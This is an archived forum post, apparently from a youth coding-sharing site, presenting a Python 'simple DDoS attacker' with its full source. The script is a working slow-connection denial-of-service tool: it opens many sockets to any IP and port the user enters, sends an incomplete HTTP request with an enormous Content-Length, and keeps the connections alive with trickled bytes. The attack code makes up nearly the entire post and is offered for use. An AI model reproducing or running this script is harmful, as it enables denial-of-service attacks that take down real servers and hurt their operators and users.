猫史档案馆


【Python作品分享】Python - DDOS攻击器

用户:_tut_101_tut_101查看:0 回复:0 评论:0 创建时间:2022-11-15T18:00:49


【作品展示】

center_image

 

【作品介绍】

这是一个“简易”DDOS攻击器

填写IP时必须使用iPv4,否则报错

By GitHub

By Gitee

 

【作品源代码】

import socket
import time
import threading

MAX_CONN = int(input("连接的数量:"))  # 设置连接的数量
PORT = int(input("攻击端口 : "))  # 设置端口号
HOST = input("请输入 IP : ")  # 设置IP地址
PAGE = "/DVWA"

buf = ("GET %s HTTP/1.1\r\n"
       "Host: %s\r\n"
       "User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW喵; rv:52.0) Gecko/20100101 Firefox/52.0\r\n"
       "Content-Length: 1000000000\r\n"
       "\r\n" % (PAGE, HOST))  # HTTP请求

socks = []


def conn_thread():
    global socks
    for i in range(0, MAX_CONN):
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        try:
            s.connect((HOST, PORT))
            s.send(bytes(buf, encoding='utf-8'))  # 发送HTTP请求
            print("[+] 已发送%d 到端口" % i)
            socks.append(s)
        except Exception as ex:
            print("[-] Could not connect to server or send error:%s" % ex)
            time.sleep(2)


def send_thread():
    global socks
    for i in range(10):
        for s in socks:
            try:
                s.send(bytes("喵", encoding='utf-8'))  # 喵攻击
                print("[+] send OK!")
            except Exception as ex:
                print("[-] send Exception:%s" % ex)
                socks.remove(s)
                s.close()
        time.sleep(1)


conn_th = threading.Thread(target=conn_thread, args=())
send_th = threading.Thread(target=send_thread, args=())
conn_th.start()
send_th.start()

 

【提示】

部分含有Python第三方库相关内容的作品,在海龟编辑器网页端无法运行哦!如遇到这种情况,可以打开下面的链接,下载海龟编辑器客户端:

https://python.codemao.cn


回复

上一页1 页 / 共 0下一页